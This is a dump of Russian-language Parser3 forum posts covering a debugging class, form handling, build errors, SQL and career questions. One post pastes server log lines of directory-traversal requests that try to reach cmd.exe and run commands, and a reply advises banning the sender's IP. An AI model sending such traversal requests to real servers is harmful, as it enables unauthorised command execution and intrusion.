$result[^text.replace[^table::create[nameless]{^taint[^#0A]	<br>}]^if(!def $shash){ (string)}]\
#end @_string[]\
\
\
\
\
@_double[d;shash]\
###################################################################################################\
$result[$d^if(!def $shash){( (int/double))}]\
#end @_double[]\
\
\
\
\
@_bool[b;shash]\
###################################################################################################\
$result[^if($b){TRUE}{FALSE}^if(!def $shash){ (bool)}]\
#end @_bool[]\
\
\
\
\
@_void[v;shash]\
###################################################################################################\
$result[^if(!def $shash){Значение не присвоено (void)}]\
#end @_void[]\
\
\
\
\
@_file[f][_f]\
###################################################################################################\
^try{\
	$_f[^file::stat[$f.name]]\
	$result[Файл <strong>^file:fullpath[$f.name]</strong><br />\
		Размер: <strong>$_f.size байт</strong><br />\
		Создан: <strong>${_f.cdate.day}.${_f.cdate.month}.${_f.cdate.year} в \
		${_f.cdate.hour}ч.${_f.cdate.minute}мин</strong><br />\
		Изменен: <strong>${_f.mdate.day}.${_f.mdate.month}.${_f.mdate.year} в \
		${_f.mdate.hour}ч.${_f.mdate.minute}мин</strong><br />\
		Последний раз обращение к файлу производилось <strong>${_f.adate.day}.${_f.adate.month}.${_f.adate.year} в \
		${_f.adate.hour}ч.${_f.adate.minute}мин.</strong><br />\
		MIME-тип файла: <strong>$_f.content-type</strong><br />\
		^if(${_f.content-type} eq \"text/plain\" || ${_f.content-type} eq \"text/html\"){\
		Первые 100 символов файла:<br />\
		<strong><i>^f.text.left(100)...</i></strong><br />\
		Последние 100 символов файла:<br />\
		<strong><i>...^f.text.right(100)</i></strong><br />\
		}\
	]\
}{\
	$exception.handled(1)\
	$result[<font color=\"red\">^file:fullpath[$f.name] (file) не найден!</font>]\
}\
#end @_file[]\
\
\
\
\
@_date[d]\
###################################################################################################\
$result[${d.day}.${d.month}.${d.year}, ${d.hour}:${d.minute}<small>:${d.second}</small>, $d.yearday день года]\
#end @_date[]\
\
\
\
\
@_image[i]\
###################################################################################################\
$result[^if(def $i.src){^i.html[]}{Графический объект созданный Parser3.}<br />\
Высота изображения^: ${i.height}px, ширина^: ${i.width}px<br />\
^if(def $i.exif){^_hash[$i.exif]}{EXIF информация в файле отсутствует!<br />}]\
#end @_image[]\
\
\
\
\
@_table[t][_tcol;_t;_path]\
###################################################################################################\
^if(!^t.columns[]){\
	$_path[/^math:uid64[]]\
	^t.save[$_path]\
	$_t[^table::load[$_path]]\
	^file:delete[$_path]\
	Объект является <strong>nameless</strong> таблицей!<br />\
	^_table[$_t]\
}{\
	$_tcol[^t.columns[]]\
	$result[<table class=\"debug\" cellSpacing=\"0\" cellPadding=\"5\" border=\"1\">\
	<tr align=\"center\">\
	^_tcol.menu{\
		<td><strong>$_tcol.column</strong></td>\
	}\
	</tr>\
\
	^t.menu{\
	<tr>\
		^_tcol.menu{\
		<td>$t.[$_tcol.column]</td>\
		}\
	</tr>\
	}\
	</table>]\
}\
#end @_table[]\
\
\
\
\
@_hash[h][k;v;_sdiv]\
###################################################################################################\
^if(!def $caller.$_sdiv){$_sdiv(0)}\
\
^_sdiv.inc(50)\
\
^h.foreach[k;v]{<div style=\"padding-left: ${_sdiv}px\">\
	^if($v is \"int\" || $v is \"double\"){\
		$ls[^(]\
		$rs[^)]\
	}{\
		$ls[^[]\
		$rs[^]]\
	}\
	<strong>^$.${k}$ls</strong>\
	^if(!def $v){\
		^if($v is \"bool\"){\
			^_bool[$v;1]<br />\
		}{\
			^_void[$v;1]<br />\
		}\
	}{\
		^if($v is \"bool\"){<b>^_bool[$v;1]</b>}\
		^if($v is \"string\"){^_string[$v;1]}\
		^if($v is \"date\"){^_date[$v]}\
		^if($v is \"image\"){<div style=\"padding-left: 50px\">^_image[$v]</div>}\
		^if($v is \"file\"){<div style=\"padding-left: 50px\">^_file[$v]</div>}\
		^if($v is \"table\"){<div style=\"padding-left: 50px\">^_table[$v]</div>}\
		^if($v is \"int\" || $v is \"double\"){^_double($v;1)}\
		^if($v is \"hash\"){\
			^_sdiv.inc(50)\
			^_hash[$v]\
			^_sdiv.dec(50)\
		}\
	}\
	<strong>$rs</strong>\
</div>}\
#end @_hash[]\
\
\
@rusage[comment;toFile][v;now;prefix;message;line;usec]\
$v[$status:rusage]\
$now[^date::now[]]\
$usec(^v.tv_usec.double[])\
$prefix[[^now.sql-string[].^usec.format[%06.0f]] $env:REMOTE_ADDR: $comment]\
$message[$v.utime	$v.stime	$request:uri]\
$line[$prefix	$message	^#0A]\
^line.save[append;^if(def $toFile){$toFile}{/rusage.log}]\
$result[]\
# end @rusage[]\
\
\
@musage[comment][v;now;prefix;message;line]\
$v[$status:memory]\
$now[^date::now[]]\
$prefix[[^now.sql-string[]] $env:REMOTE_ADDR: $comment]\
$message[$v.used	$v.free	$v.ever_allocated_since_compact	$v.ever_allocated_since_start	$request:uri]\
$line[$prefix	$message ^#0A]\
^line.save[append;^if(def $toFile){$toFile}{/musage.log}]\
$result[]\
# end @musage[]\
[/code]"
"55521","Во-первых - спасибо за класс - действительно нужная вещь)\
\
Прикрутил, запустил, и увидел, что поля, через которые передаются объекты типа [code]file[/code] есть в [code]^debug:print[$form:fields], [/code]отсутствуют в [code]^debug:print[$form:tables]. [/code]Странно, да? Т.е. при первом методе они в списке - и их значения видны, а при втором их вообще нет. Как такое может быть?"
"55522","В $form:tables храняться таблицы, а таблицы не могут хранить файлы, объекты классов и т.д. Только текстовые данные. Точно не помню, кажется, данный вопрос обсуждался, но сходу найти не смог.\
\
Следовательно, поля для передачи файлов нужно именовать по разному. В случае с динамическим изменением формы, можно так же, через JavaScript — меняя поле name."
"55523","очень жаль, что таблица так ограничена. ИМХО это баг, или просто недоделка - из-за этого нельзя полноценно работать с полями формы. Надеюсь, разработчики примут это к сведению.\
\
Придется облизывать весь хеш полей формы, проверять их значения на тип file и действовать. Скука. Неспортивно."
"55524","Есть класс table, он в принципе не поддерживает хранение таких типов данных. Например, таблицы можно хранить на диске в обычных текстовых файлах. Для хранения других типов данных есть hash."
"55525","кроме как переименовывать поля в уникальные, а потом через хеш полей формы - другого решения я не вижу. Смысл тогда в $form:tables?"
"55527","[quote]боюсь, пока никак\
\
Александр Петросян (PAF) 24.03.2004 15:26 \
\
об этом я в своё время не подумал.\
\
если форму контролируете вы, назовите их\
file1, file2, file3\
\
и принимайте \
^for[i](1;3){…$form:file$i…}\
[/quote]\
у меня динамическая форма, полей может быть и одно, и тысяча - сколько юзер напостит. В моем случае решением будет именовать их тем же способом (file_1, file_2), а потом регекспами разбирать поля на наличие в них file_, и отбирать значения."
"55528","можно добавить hidden поле в котором будет храниться циферка - максимальный номер у file_N. когда ваш js будет добавлять новое поле file в форму, скажите ему чтобы он увеличивал и эту циферку.\
\
в коде потом как ПАФ предлагал:\
[code]\
^for[i](1;^form:filenum.int(1)){…$form:file$i…}\
[/code]\
\
всего-то делов. а то что table хранит только строки - это особенности table, такая-же как в числовых значениях только числа, в date - даты и т.д.\
\
возможным вариантом было-бы добавление $form:hashes по аналогии с $form:tables."
"55530","ваш совет подходил бы, если бы нумерация полей была последовательная. В моем случае это не подходит по той простой причине, что юзер в любой момент может добавить и удалить любое кол-во строк в любом порядке. Т.е. добавил 3 строки(1,2,3), удалил строку номер_2(1,3), добавил еще 3 строки(1,3,4,5,6) и т.д. - нумерация может меняться в зависимости от действий юзера. Перенумеровывать поля яваскриптом при каждом изменении списка полей не вижу смысла, хотя тоже вариант.\
\
А вот $form:hashes было бы кстати. Хотя $form:fields итак хеш, но все же."
"55534","в смысле после submit убирать форму, а вместо нее разместить, например, ссылку \"вернуться\"?\
так было проще для меня, но не для пользователя\
посмотрите сами\
http://www.belyan.ru/manuals/passgen/"
"55535","дать посетителю наиграться с формой и лишь потом позволить сохранить результаты. или сохранять их ajax запросом без перезагрузки страницы."
"55536","а php?"
"55537","хотя можно)"
"55542","мы вполне решим, что это не дело и прекратим это.\
очень советую этим не пользоваться.\
насчёт «удобно» — это спорно. см. java."
"55543","в java работает и inner class и anonymous class :-)"
"55547","если бы я еще знал что такое ajax-запрос...\
в принципе форма не сложная, и сейчас она работает, думаю можно на этом остановиться\
а возможно в будущем, когда я узнаю, что такое ajax-запрос, усовершенствую ее"
"55548","Миша правильно предложил использовать аякс. Но можно решить проблему и без него. Достаточно после зарузки страницы отключать необходимые элементы (чтобы пользователь не мог их нажать), а перед сабмитом их снова включать (чтобы парсер мог получить проставленные значения).\
\
Вот и всё."
"55554","есть метод, замеченый на форуме:\
[code]\
###########################################################################\
@capitalize[sText]\
$result[^if(def $sText){^sText.match[(?:_|^^)(\\S)][g]{^match.1.upper[]}}]\
#end of @capitalize[]\
[/code]\
Есть данные в UTF-8. При попытке прогона кирилического текста через вышеописанный метод, вместо заглавной буквы получаем 3 квадрата, на остальных алфавитах все путем. Причем, если делать просто ^string.upper[] - все отлично работает. В чем проблема?"
"55560","Если объект класса image создан парсером, а не загружен из файла, то почему не сделать для него свой префикс? Например, по аналогии с dt — im или img?"
"55563","для меня это все равно файл и выделять отдельный префикс это примерно тоже самое что делать разные префиксы для хеша строк, хеша чисел, хеша хешей, хеша таблиц и т.д.\
\
хотя никаких принципиальных возражений у меня тут нет."
"55580","[code]\
^MAIN:pSQL.server{\
	$ht[^MAIN:pSQL.table{\
		select\
			name\
		from\
			users\
	}]\
	^ht.menu{\
		$ht.name\
	}\
}\
[/code]\
\
локально работает на сервере выдает:\
\
[Fri Sep  8 14:26:33 2006] /Noname3.html: /usr/local/www/xxx/docs/classes/sql.p(72:20): 'inc' undefined method [parser.runtime] \
\
sql.p, lib.p стоят свежие. только что качал :( в чем может быть проблема? направте пожалуйста на решение."
"55581","а заодно сообщите версию парсера"
"55589","Прописываете в .htaccess обработчик на нужное расширение, и работаете.\
http://iho.ru/faq/apache.html"
"55591","ваше правило сработает в любых тегах, а не только в img это раз.\
Второе, первый раз правило сработает на цифре 4 которая содержится в имени файла, что тоже не верно.\
Я бы пожалуй предложил что-то подобное:\
[code]^str.match[<img.*?title=\"\\D*?(\\d+)\\D*?\".*?>][i]{$match.1}[/code]\
\
P.S. писал на коленке не проверял."
"55592","прозвольте поздравить!\
\
у нашего с вами языка специфика такова, что даже если захотеть это встроить, проверки на private придётся делать runtime, а это дорого.\
\
что до «изящнее»...\
то будем проще: вероятно, вы и сами давно пришли к этой идее — никогда не изменять полей объекта снаружи.\
исключения только в очень узких или очень простых местах."
"55593","есть:\
http://www.parser.ru/docs/src/classVMethodFrame.htm#a1\
\
чувствую, что-то хитрое задумали ;)"
"55594","script.sh:\
[code]\
#/bin/sh\
\
cd /path/to/document/root\
/path/to/parser path/to/script.p &\
/path/to/parser path/to/script.p &\
/path/to/parser path/to/script.p &\
[/code]\
\
эту штуку ставите в cron, и имеете 3 процесса, работающие параллельно.\
если почитаете о for в shell языке, можно хоть сто запустить разом.\
главное, чтобы ваш хостинг позволял.\
\
в parser2 когда-то давно мы делали ^fork[], но это непереносимо на win32 = в parser3 не попало.\
\
другой вариант (менее правильный, но более простой):\
[code]\
@main[]\
^for[i](0;9){^spawn[]}\
\
@spawn[][f]\
$f[^file::exec[spawn-script.sh]]\
[/code]\
spawn-script.sh\
[code]\
#!/bin/sh\
cd /path/to/document/root\
/path/to/parser path/to/script.p &\
[/code]"
"55595","про 64bit.\
и, если нужно, соберите компилятором 32битное приложение. как понимаю, поддержка таких приложений во всех 64битных системах имеется.\
\
что до сборки, то начните с ./build-all*\
а причины ошибки configure видны в config.log"
"55597","[code]\
Making all in main\
make[2]: Entering directory `/home/beave/parser3project/parser3/src/main'\
make[3]: Entering directory `/home/beave/parser3project/parser3'\
make[3]: Leaving directory `/home/beave/parser3project/parser3'\
if g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql -I../lib/pcre -I../lib/gc/include -I../lib/cord/include -I../../src/lib/ltdl  -I/home/beave/parser3project/gnome/include -I/home/beave/parser3project/gnome/include/libxml2    -g -O2 -MT pa_common.o -MD -MP -MF \".deps/pa_common.Tpo\" -c -o pa_common.o pa_common.C; \\\
then mv -f \".deps/pa_common.Tpo\" \".deps/pa_common.Po\"; else rm -f \".deps/pa_common.Tpo\"; exit 1; fi\
../types/pa_method.h:77: error: extra qualification ‘Method::’ on member ‘Method’\
make[2]: *** [pa_common.o] Error 1\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/main'\
make[1]: *** [all-recursive] Error 1\
make[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
make: *** [all-recursive] Error 1\
[/code]\
\
В чем может быть дело?\
\
P.S. Мне почему-то кажется дело в gcc. Может нужно собирать с меньшей версией?\
\
[code]\
[beave@localhost parser3]$ uname -r\
2.6.17-1.2174_FC5\
[beave@localhost parser3]$ rpm -qa | grep gcc\
gcc-4.1.1-1.fc5\
libgcc-4.1.1-1.fc5\
gcc-c++-4.1.1-1.fc5\
[/code]"
"55598","было\
	Method::Method(\
стало\
	Method("
"55600","PHP, в принципе, лучше будет)"
"55601","[Sat Sep  9 03:43:43 2006] [6421] /msadc/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:43:44 2006] [6431] /msadc/..%c0%2f../..%c0%2f../..%c0%2f../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:43:58 2006] [6523] /scripts/..%c0%2f..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:03 2006] [6548] /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:11 2006] [6656] /scripts/../../../../../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:12 2006] [6661] /scripts/../../cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:13 2006] [6676] /scripts/../../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:21 2006] [6741] /scripts/../../../../../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:22 2006] [6746] /scripts/../../cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:26 2006] [6780] /scripts/../../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:37 2006] [6875] /_mem_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:41 2006] [6895] /_mem_bin/../../../../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:47 2006] [6939] /_vti_bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:51 2006] [6953] /_vti_bin/../../../../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:44:57 2006] [6980] /bin/scripts/../../../../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[code][Sat Sep  9 03:45:00 2006] [6992] /cgi-bin/..%c0%2f..%c0%2f..%c0%2f../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing]\
[Sat Sep  9 03:45:03 2006] [7073] /cgi-bin/../../../../winnt/system32/cmd.exe?/c+dir: '*******************' read failed: No such file or directory (2), actual filename '*******************' [file.missing][/code]"
"55602","А что тут непонятного, кулхацкер!\
\
посмотри IP и забань негодяя."
"55603","А как узнать адрес?"
"55604","Формирую XML в виде:\
\
[code]\
<menu>\
^gr.menu{\
 	^if($form:group eq $gr.link){\
 		<menu_item style=\"color:#45556D\">$gr.label</menu_item>\
 		}{\
 		<menu_item href=\"$common:config.site_url/?section=catalog&amp^;group=${gr.link}\">$gr.label</menu_item>\
 		}\
}\
</menu>\
[/code]\
\
преобразую:\
\
[code]\
<xsl:template match=\"menu\">\
   <ul type=\"disc\" style=\"color:#BEBEBE;\">\
   		<xsl:apply-templates select=\"menu_item\" />\
   </ul>\
</xsl:template>\
\
<xsl:template match=\"menu_item\">\
    <li type=\"disc\" style=\"padding:2px;{@style}\"><a class=\"cat\" href=\"{@href}\"><xsl:value-of select=\".\" /></a></li>\
</xsl:template>\
[/code]\
\
Таким способом мне удаётся выделить цветом активное меню.\
\
Но мне нужно чотобы активный элемент был не ссылкой, а просто текстом. Незнаю как это сделать, пробовал и <xsl:if> и <xsl:shoose> и даже modes. вощем не знаю как это реализовать. Подскажите."
"55605","Сел изучать parser  возник такой вопрос:\
\
В доке сказанно\
--------------------\
Создаем кирпичики для сайта\
@footer[] \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr> \
      <td></td> \
   </tr> \
</table> \
$now[^date::now[]] \
<font size=\"-3\"> \
<center>Powered by Parser3<br>1997-$now.year</center> \
</font> \
</body> \
</html> \
\
а потом всавляем в index ^foter[]\
---------------------------------\
\
Почему parser РУГАЕТСЯ (/auto.p(13:51): syntax error, unexpected ';', expecting ']')\
\
---------------------------------\
Как я понимаю ему не нравятся символы (^$;()[]{}\":)\
т.к они служебные\
Это че теперь пред каждым таким символом в куске хтмл который описан в методе @foter[] ставить птичку?"
"55608","именно там и ошибка, а тот отрезок кода что вы привели не чиго не показывает..."
"55610","А есть ли возможность file:list вывести директории не по алфавиту, а по дате, к примеру."
"55615","Подскажите, как избавиться от вредного эффекта\
\
Есть несколько методов вида \
\
[code]\
@_methodX[params;code]\
\
$xxx[^pSQL.table{\
	SELECT \
...\
	FROM \
...\
}]\
\
$GLOBALX[\
	$.GLOBALX-X[...]\
...\
]\
\
^xxx.menu{\
	<xml-s>\
		<xml-s-x>...</xml-s-x>\
		...\
		<include>$code</include>\
	</xml-s>\
}\
[/code]\
\
Вызываются так:\
\
[code]\
^_methodX[\
	...\
]{\
	^_methodXX[\
		...\
	]{\
		^_methodXXX[\
			...\
		]{\
			...\
		}	\
	}\
}\
[/code]\
\
Записав произвольную строку из метода _methodXXX можно получить, что он вызывается 4 раза, соответственно _methodXX - 2 _methodX -1."
"55616","вы вызываете ^_methodXX[] в menu несколько раз. и передаете ему в качестве второго параметра код. этот код должен выполняться каждый раз при обращении к нему внутри этого метода.\
\
если вы хотите выполнить его внутри метода один раз и потом N раз подставить результат его работы - поместите результат в строку:\
\
[code]@_methodXX[...;jCode]\
$sCode[$jCode]\
\
$sCode\
$sCode\
$sCode\
[/code]"
"55618","Суть в том, что sql код находящийся в _methodXXX вызывается 4 раза ("
"55619","можете изобразить её в простом тестовом файле, где код который выполняется избыточное число раз - какой-нить ^iNum.inc(1)?"
"55620","Сам поставил\
\
[code]^if(def $code){<include>$code</include>}[/code]\
\
Проблема решена, спасибо )"
"55622","вот такой вот тестовый код:\
[code]\
@USE\
cachepage.p\
\
@main[]\
$cachepage[^cachepage::init[\
	$.cache_dir[/../data/cache/]\
]]\
^cachepage.run[cachefile](50){\
	some text\
	^throw[some exception;inside]\
\
\
}{\
	$exception.handled(1)\
	^cache(0)\
	blabla\
}\
[/code]\
выдает ошибку:\
[code]test.html(15:28): 'handled' element can not be stored to void [parser.runtime][/code]\
если в $exception.handled вместо числового литерала используем логический, ошибка получается немного другая\
[code]test.html: UNKNOWN(1:1): 'handled' element can not be stored to void [parser.runtime][/code]\
при этом на диске создается файлик кеша нулевого размера.\
\
если заменить ^cachepage.run[] на родной ^cache[] — все отрабатывает нормально...\
\
Parser CGI 3.2.1sp2 (compiled on i386-pc-win32)"
"55623","когда добавил к методу run обработчик ошибок сам не тестировал/использовал т.к. не было нужно.\
\
наступил, когда пытался сделать аналогичное в antispam-е. тогда не придумал решения, а сейчас, как мне кажется, пришло нормальное решение, которое нужно добавить и в антиспам-е.\
\
дело в том, что при передачи junction, передается и контекст его выполнения. соотв. в этом, переданном, контексте никакого $exception нет в помине. \
\
надо поправить cachepage/@run:\
[code]\
@run[sKey;iTime;jBody;jErrorHandler][iIsExecuted]\
$result[^cache[$sCacheDir/$sKey]($iTime){\
	$iIsExecuted(1)\
	^trim[$jBody]\
	^self._save($iTime)\
}{$caller.exception[$exception]$jErrorHandler}]\
\
$result[^self._cut[$result]^self._comments[$sKey;$iTime;$iIsExecuted]]\
#end @run[][/code]\
\
ну и убедиться что такое работает :)"
"55626","необоснованные рекомендации - тоже."
"55627","пау писем из ста мне все таки пришло, а вот остальные что то не хотят. :( SMTP пробовал ставить не существующие, так он бывало с них отправлял :) не понятно вообще что происходит. :) \
А можно в настройках прописывать не только smtp сервер, а еще и юзера, пароль?\
На серваке стоит php, через него все отпровляется моментально. \
Да, кстати, parser2 стоит у меня :)\
хотел на форуме по парсерц оставить сообщение, да какая то не двала мне сделать это. и теперь я сдесь."
"55629","добавлял допонительный парметр который имел значения active и nonactive, но это не сработало."
"55631","Привет.\
\
Возникла такая вот проблема.\
\
меню навигации зделанно так же каки в уроке2(т.е в крневом auto.p описан метод меню который считывет инфу из файла в корне, там же описан кусок кода медота боди, в котором в свою очередь вставлен метод меню) так вот если страница собирается в корне то все ок! а если в каком нибудь разделе то(например /news/) то вылазиет ошибка мол в /news/ не найден файлик из которого формируется меню.\
Помогите просто с парсером знаком вссего 2 дня не знаю как это исправить"
"55632","Значит путь к этому файлику не находится. Укажите к нему полный путь.\
В примере урок №2 указан путь от корня [^table::load[/sections.cfg]]\
может у вас в /news/ нет файла index.html ?"
"55633","[code]$.to[first@mail.ru, second@mail.ru][/code]\
или\
[code]$.to[first@mail.ru]\
$.сс[second@mail.ru][/code]\
\
А [url=\"http://www.parser.ru/forum/?id=8847\"]Можно так[/url]."
"55635","Тогда почему если я вставляю метод... меню прямо в /news/index.html то все нормально. А если вставляю метод боди который в свою очередь вызывает метод меню то вылазиет ошибка"
"55638","Метод меню напиан так же как и в уроке 1\
@navigation[]\
$sections[^table::load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
   <tr>\
   ^sections.menu{\
      <td align=\"center\">\
          <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
      </td>\
   }\
   </tr>\
</table>)\
Все это дело описано в корне auto.p\
Так же там описан метод боди\
@body[]\
<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\
  <tr>\
    <td>^navigation[]</td>\
    <td>&nbsp;</td>\
    <td>&nbsp;</td>\
  </tr>\
</table>\
если я начинаю собирать /news/index.html\
ну тпа вставляю ^body[] то выводится ошибка типа /news/sections.cfg  не найден! А если в /news/index.html вставить метод ^navigation[] то все ок!"
"55639",">имеет большой смысл обрабатывать возможные ошибки доставки.\
>они будут возвращаться на адрес from.\
\
Александр,\
\
объясните каким способом производится такая обработка?"
"55641","Если написано что /news/sections.cfg не найден, значит он действительно не найден."
"55643","В документации ко второму парсеру сказано ^counter[имя файла]типа счетчик посещения\
\
А в доке по третиму парсеру ничего такого не сказанно. Почему? Или в нем этого уже нет!!!"
"55656","SELECT id\
FROM cards\
WHERE  status='free' and id in \
(SELECT id_card \
FROM cards_history\
GROUP BY id_card\
HAVING MAX(dt_get_card)>='2006-09-06' and	MAX(dt_get_card)<='2006-09-11')\
\
Подскажите пожалуйста. Запрос выполняется слишком долго. Почему? Я думал, что вложенный запрос сформирует таблицу, с которой будет работать внешний запрос... По отдельности внешний и внутренний работают очень быстро."
"55660","Логичнее будет о MySQL спрашивать здесь:\
\
http://xpoint.ru/forums/computers/dbms/mysql/forum.xhtml\
http://ru-mysql.livejournal.com/"
"55661","просто логично было бы сделать чисто на SQL это, но с помощью парсера и двух запросов получается как-то быстрее, хотя ещё раз подчеркиваю, что логичнее было бы делать эту выборку SQL-ем.\
Если интересно можем выложить результат explain"
"55662","[code]$id_card[^table::sql{SELECT id_card \
FROM cards_history\
GROUP BY id_card\
HAVING MAX(dt_get_card)>='2006-09-06' and MAX(dt_get_card)<='2006-09-11'}]\
\
^if($id_card){\
$cards[^table::sql{\
SELECT id\
FROM cards\
WHERE status='free' and id in (^id_card.menu{$id_card.id_card}[,])\
}]\
}[/code]\
хотя не знаю, насколько это решит вопрос времени выполнения."
"55663","Если уж есть кнопка \"в закладки\", то может быть стоит сделать кнопку \"из закладок\"?\
\
Или может быть есть какой-то способ удалить сообщение из закладок, а я его просто не разглядел?"
"55666","Нету...\
Где искать её? Может я ослеп, или отупел к концу рабочего дня?"
"55669","Студия Лебедева всегда выдвигвает оригинальные требования к претендентам на свои вакансии. Интересно, имеет ли какое-то значение наличие высшего образования? И вообще, стоит ли поступать куда-нибудь на веб-технолога, или лучше продолжать заниматься самоообразованием?"
"55670","Если корочку, то я думаю она никому не нужна.\
А если Вы имеете в виду опыт/портфель/знания полученные за 5-7 лет обучения в институте, при том, что это все можно реально и с успехом применить на практике в области веб-дазайна/программирования... то здесь и так все понятно."
"55671","Никто и никогда вас в институте ни чему не научит. Знаю по своему опыту. Владею небольшой web студией есть не мало серьезных работ.\
Штат 5 человек (дизайнеры верстальщики и програмис) Приприеме на работу каких только экземпляров не поподалось(подчти все кто имел высшее образование били в грудь копытом тресли дипломом, вот у нас вышка и мы лучше всех) А когда дело доходило до тестового задания (те кто с вышкой оказались в ж...) \
\
Вот такой вот жизненый опыт!"
"55672","А вчера заходил - там была кнопка \"в закладки\".\
Надо будет ещё завтра зайти. Для чистоты эксперимента.\
Может быть она только по нечётным дням показывается :)"
"55674","../types/pa_vfile.h:59: error: extra qualification ‘VFile::’ on member ‘VFile’\
../types/pa_vfile.h:61: error: extra qualification ‘VFile::’ on member ‘VFile’\
и т.д.\
\
Хотелось просто узнать с чем связаны эти опечатки? Заинтересовался, потому что Вы же собирали парсер и я так понимаю у Вас с этим проблем не было. Какая-то библиотека обновилась?!..."
"55675","[code]\
then mv -f \".deps/pa_globals.Tpo\" \".deps/pa_globals.Po\"; else rm -f \".deps/pa_globals.Tpo\"; exit 1; fi\
../../src/include/pa_hash.h: In member function ‘bool Hash<K, V>::put(K, V) [with K = unsigned int, V = Request*]’:\
pa_globals.C:75:   instantiated from here\
../../src/include/pa_hash.h:88: error: invalid conversion from ‘unsigned int’ to ‘const char*’\
../../src/include/pa_hash.h:88: error:   initializing argument 1 of ‘String::Body::Body(const char*)’\
../../src/include/pa_hash.h: In member function ‘V Hash<K, V>::get(K) const [with K = unsigned int, V = Request*]’:\
pa_globals.C:79:   instantiated from here\
../../src/include/pa_hash.h:234: error: invalid conversion from ‘unsigned int’ to ‘const char*’\
../../src/include/pa_hash.h:234: error:   initializing argument 1 of ‘String::Body::Body(const char*)’\
../../src/include/pa_hash.h: In member function ‘V Hash<K, V>::get(K) const [with K = unsigned int, V = XML_Generic_error_info*]’:\
pa_globals.C:115:   instantiated from here\
../../src/include/pa_hash.h:234: error: invalid conversion from ‘unsigned int’ to ‘const char*’\
../../src/include/pa_hash.h:234: error:   initializing argument 1 of ‘String::Body::Body(const char*)’\
../../src/include/pa_hash.h: In member function ‘bool Hash<K, V>::put(K, V) [with K = unsigned int, V = XML_Generic_error_info*]’:\
pa_globals.C:117:   instantiated from here\
../../src/include/pa_hash.h:88: error: invalid conversion from ‘unsigned int’ to ‘const char*’\
../../src/include/pa_hash.h:88: error:   initializing argument 1 of ‘String::Body::Body(const char*)’\
../../src/include/pa_hash.h: In member function ‘bool Hash<K, V>::remove(K) [with K = unsigned int, V = XML_Generic_error_info*]’:\
pa_globals.C:140:   instantiated from here\
../../src/include/pa_hash.h:217: error: invalid conversion from ‘unsigned int’ to ‘const char*’\
../../src/include/pa_hash.h:217: error:   initializing argument 1 of ‘String::Body::Body(const char*)’\
../../src/include/pa_hash.h: In member function ‘bool Hash<K, V>::remove(K) [with K = unsigned int, V = Request*]’:\
../../src/include/pa_hash.h:82:   instantiated from ‘bool Hash<K, V>::put(K, V) [with K = unsigned int, V = Request*]’\
pa_globals.C:75:   instantiated from here\
../../src/include/pa_hash.h:217: error: invalid conversion from ‘unsigned int’ to ‘const char*’\
../../src/include/pa_hash.h:217: error:   initializing argument 1 of ‘String::Body::Body(const char*)’\
make[2]: *** [pa_globals.o] Error 1\
make[2]: Leaving directory `/home/beave/parser3project/parser3/src/main'\
make[1]: *** [install-recursive] Error 1\
make[1]: Leaving directory `/home/beave/parser3project/parser3/src'\
make: *** [install-recursive] Error 1\
[/code]\
\
P.S. Забыл добавить, что сейчас собираю версию из HEAD."
"55676","Вы не внимательно прочитали мой ответ:\
[quote]Если корочку, то я думаю она никому не нужна.[/quote]\
под \"корочкой\" я имею ввиду докумет, т.е. то же самое, что вы имели ввиду говоря:\
[quote]Приприеме на работу каких только экземпляров не поподалось(подчти все кто имел высшее образование били в грудь копытом тресли дипломом, вот у нас вышка и мы лучше всех) А когда дело доходило до тестового задания (те кто с вышкой оказались в ж...) [/quote]\
\
Далее, повторюсь:\
А если Вы имеете в виду опыт/портфель/знания полученные за 5-7 лет обучения в институте, [b]при том, что это все можно реально и с успехом применить на практике [/b]в области веб-дазайна/программирования.\
\
